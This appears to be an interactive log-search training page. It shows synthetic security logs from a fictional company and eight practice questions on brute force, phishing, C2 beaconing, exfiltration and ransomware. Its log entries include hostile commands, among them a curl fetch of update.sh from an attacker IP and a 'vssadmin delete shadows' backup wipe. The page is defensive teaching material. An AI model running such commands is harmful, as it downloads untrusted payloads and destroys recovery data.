← Practice and learn

Log search

Logs record what computers did. Searching them is how analysts find out what really happened.

Search the logs

Type a name, an address or any word, like d.okafor. The matching events appear below. Or click an example.

More precise searches

Narrow with field:value using source, host, user, src, dst, event or time. Add a minus to exclude, like -event:allow. All terms must match.

Try:

370 events found. Showing the first 100, so narrow your search.

TimeSourceHostUserSource IPDestinationEventDetails
01:10:22authweb-bastion-02deploy10.20.9.3010.20.1.12ssh_login_okAccepted publickey for deploy
01:11:58endpointJUMP-ADM-01svc-patch10.20.9.20-process_startpowershell.exe started by Task Scheduler, task 'Oct-OOB-Patch'
01:12:03endpointJUMP-ADM-01svc-patch10.20.9.20-process_startPsExec64.exe @fs-servers.txt wusa.exe kb5044-oct.msu, signed by Microsoft
01:12:10authFS-01svc-patch10.20.9.2010.20.9.101logon_okNetwork logon (type 3) by svc-patch from JUMP-ADM-01
01:16:20endpointFS-01svc-patch10.20.9.20-process_startPSEXESVC service removed after patch installed
01:30:04firewallfw-edge-01-10.20.8.40203.0.113.171allowedOFFSITE-BACKUP: 4 TLS sessions to ingest.vault-offsite.test, 38.4 GB sent by 02:38
02:00:03identitywarehouse-idpsvc_bi_report10.20.3.40-signin_okWarehouse sign-in. BI connector, password only (service account, no MFA)
02:00:09identityidp-01svc-mfp-mail10.20.60.23-sign_inSMTP AUTH sign-in succeeded (legacy authentication, no MFA). Allowed by exception CHG-2188 for the printer network
02:00:12mailmail-gwsvc-mfp-mail10.20.60.23finance-ops@harborpine.testmail_sentSubject 'MFP-FLR3-03 daily counter report', attachment counters-oct.csv 4 KB
02:11:37wafxfer-01-203.0.113.87xfer-01allowedPOST /guestaccess.aspx status=200 body=9.9KB
02:14:42wafxfer-01-203.0.113.87xfer-01allowedGET /guest2.aspx status=200 header X-Pass present
02:18:10firewallfw-edge-01-203.0.113.87xfer-01allowedTCP 443, 6.4 GB sent from the server by 02:41:30
02:18:12endpointxfer-db-01xfer_app10.20.1.40-db_readSELECT * FROM FileBlob in 1,408 batches, 41,220 rows
02:41:07authweb-bastion-02admin203.0.113.5810.20.1.12ssh_login_failedFailed password for admin
02:41:09authweb-bastion-02admin203.0.113.5810.20.1.12ssh_login_failedFailed password for admin
02:41:11authweb-bastion-02root203.0.113.5810.20.1.12ssh_login_failedFailed password for root
02:41:13authweb-bastion-02test203.0.113.5810.20.1.12ssh_login_failedFailed password for test
02:41:20authweb-bastion-02admin203.0.113.5810.20.1.12ssh_login_failedFailed password for admin
02:41:26authweb-bastion-02root203.0.113.5810.20.1.12ssh_login_failedFailed password for root
02:41:32authweb-bastion-02test203.0.113.5810.20.1.12ssh_login_failedFailed password for test
02:41:38authweb-bastion-02ubuntu203.0.113.5810.20.1.12ssh_login_failedFailed password for ubuntu
02:41:44authweb-bastion-02admin203.0.113.5810.20.1.12ssh_login_failedFailed password for admin
02:41:50authweb-bastion-02root203.0.113.5810.20.1.12ssh_login_failedFailed password for root
02:41:56authweb-bastion-02test203.0.113.5810.20.1.12ssh_login_failedFailed password for test
02:42:02authweb-bastion-02ubuntu203.0.113.5810.20.1.12ssh_login_failedFailed password for ubuntu
02:42:08authweb-bastion-02admin203.0.113.5810.20.1.12ssh_login_failedFailed password for admin
02:42:14authweb-bastion-02root203.0.113.5810.20.1.12ssh_login_failedFailed password for root
02:42:20authweb-bastion-02test203.0.113.5810.20.1.12ssh_login_failedFailed password for test
02:42:26authweb-bastion-02ubuntu203.0.113.5810.20.1.12ssh_login_failedFailed password for ubuntu
02:42:32authweb-bastion-02admin203.0.113.5810.20.1.12ssh_login_failedFailed password for admin
02:42:38authweb-bastion-02root203.0.113.5810.20.1.12ssh_login_failedFailed password for root
02:42:44authweb-bastion-02test203.0.113.5810.20.1.12ssh_login_failedFailed password for test
02:42:50authweb-bastion-02ubuntu203.0.113.5810.20.1.12ssh_login_failedFailed password for ubuntu
02:42:56authweb-bastion-02admin203.0.113.5810.20.1.12ssh_login_failedFailed password for admin
02:43:02authweb-bastion-02root203.0.113.5810.20.1.12ssh_login_failedFailed password for root
02:43:08authweb-bastion-02test203.0.113.5810.20.1.12ssh_login_failedFailed password for test
02:43:14authweb-bastion-02ubuntu203.0.113.5810.20.1.12ssh_login_failedFailed password for ubuntu
02:43:20authweb-bastion-02admin203.0.113.5810.20.1.12ssh_login_failedFailed password for admin
02:43:58authweb-bastion-02admin203.0.113.5810.20.1.12ssh_login_okAccepted password for admin
02:44:31authweb-bastion-02admin-198.51.100.77sudo_commandCOMMAND=/usr/bin/curl -O http://198.51.100.77/update.sh
02:48:10vpnvpn-01adm.rkulkarni203.0.113.12-vpn_loginLogin from an address never seen for this account. Legacy profile, no MFA prompt
03:00:04firewallfw-01-10.20.9.510.20.4.11allowALLOW tcp 10.20.9.5:44100 -> 10.20.4.11:22
03:00:04firewallfw-01-10.20.9.510.20.4.11allowALLOW tcp 10.20.9.5:44101 -> 10.20.4.11:80
03:00:04firewallfw-01-10.20.9.510.20.4.11allowALLOW tcp 10.20.9.5:44102 -> 10.20.4.11:443
03:00:05firewallfw-01-10.20.9.510.20.4.12allowALLOW tcp 10.20.9.5:44103 -> 10.20.4.12:22
03:00:05firewallfw-01-10.20.9.510.20.4.12allowALLOW tcp 10.20.9.5:44104 -> 10.20.4.12:445
03:00:06firewallfw-01-10.20.9.510.20.4.13allowALLOW tcp 10.20.9.5:44105 -> 10.20.4.13:3389
03:00:06firewallfw-01-10.20.9.510.20.4.13allowALLOW tcp 10.20.9.5:44106 -> 10.20.4.13:80
03:00:07firewallfw-01-10.20.9.510.20.5.20allowALLOW tcp 10.20.9.5:44107 -> 10.20.5.20:22
03:17:48vpnvpn-in-01d.rossi198.51.100.8810.20.50.14vpn_connectMFA=approved device=LAP-PUN-117
03:19:06authdb-prod-01d.rossi10.20.50.1410.20.3.11logon_okEvent 4624 type 10 (remote desktop)
03:21:40endpointdb-prod-01d.rossi--process_startnet stop MSSQLSERVER
03:22:10endpointdb-prod-01d.rossi--process_startnet start MSSQLSERVER
03:29:48authFS-02adm.rkulkarni10.20.7.8810.20.1.50network_logonNetwork logon from HR-WS-088, then PSEXESVC started
03:29:55authdb-prod-01d.rossi10.20.50.1410.20.3.11logoffEvent 4634
03:30:44endpointFS-02adm.rkulkarni10.20.7.88-process_startcmd.exe /c vssadmin delete shadows /all /quiet
03:31:20endpointFS-02SYSTEM10.20.1.50-process_startC:\\Windows\\Temp\\lk.exe started (unsigned). Files in \\\\FS-02\\Finance renamed to .h9p2k
06:41:02identityidp-01a.abraham198.51.100.219-signin_failedIMAP basic authentication. Bad password. python-imaplib
06:41:25identityidp-01a.agarwal198.51.100.219-signin_failedIMAP basic authentication. Bad password. python-imaplib
06:49:10mailmail-gw-01r.nair192.0.2.44r.nair@harborpine.testmail_deliveredFrom unknown sender, subject 'Invoice 8841', attachment Invoice_8841.zip
06:57:18identityidp-01e.mathew198.51.100.219-signin_failedIMAP basic authentication. Bad password (attempt 1)
06:58:30endpointFIN-WS-114r.nair--process_startinvoice_viewer.exe (unsigned) from C:\Users\r.nair\Downloads
07:02:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50211 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:03:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50214 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:04:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50217 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:05:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50220 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:06:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50223 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:07:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50226 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:08:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50229 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:09:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50232 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:10:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50235 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:11:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50238 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:12:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50241 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:13:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50244 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:14:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50247 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:15:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50250 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:16:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50253 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:17:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50256 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:18:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50259 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:19:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50262 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:20:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50265 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:21:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50268 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:22:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50271 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:23:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50274 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:24:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50277 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:25:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50280 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:26:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50283 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:27:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50286 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:28:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50289 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:29:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50292 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:30:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50295 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:31:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50298 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:32:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50301 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:33:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50304 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:34:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50307 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:35:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50310 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:36:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50313 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:37:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50316 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:38:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50319 -> 198.51.100.200:443 (threat-feed: botnet-c2)
07:39:11firewallfw-01-10.20.6.114198.51.100.200denyDENY tcp 10.20.6.114:50322 -> 198.51.100.200:443 (threat-feed: botnet-c2)

Practice questions

0 of 8 solved

Find the answer in the logs above. Use the suggested search if you are stuck. These are the same hosts and addresses you meet in the alerts.

  • How many failed SSH logins did 203.0.113.58 make against web-bastion-02?

    Easy

  • Which account logged in successfully from 203.0.113.58?

    Easy

  • At what time did the web application firewall first block a request from 203.0.113.91?

    Easy

  • Which internal workstation kept trying to reach 198.51.100.200?

    Medium

  • How many MFA prompts did a.kapoor receive?

    Medium

  • Which website did d.okafor's workstation send a POST request to?

    Medium

  • Which public IP did d.rossi connect to the VPN from?

    Medium

  • One address appears on the phishing email delivered to d.okafor and on a later sign-in to the same account. Which address?

    Medium

Found something confusing or unrealistic?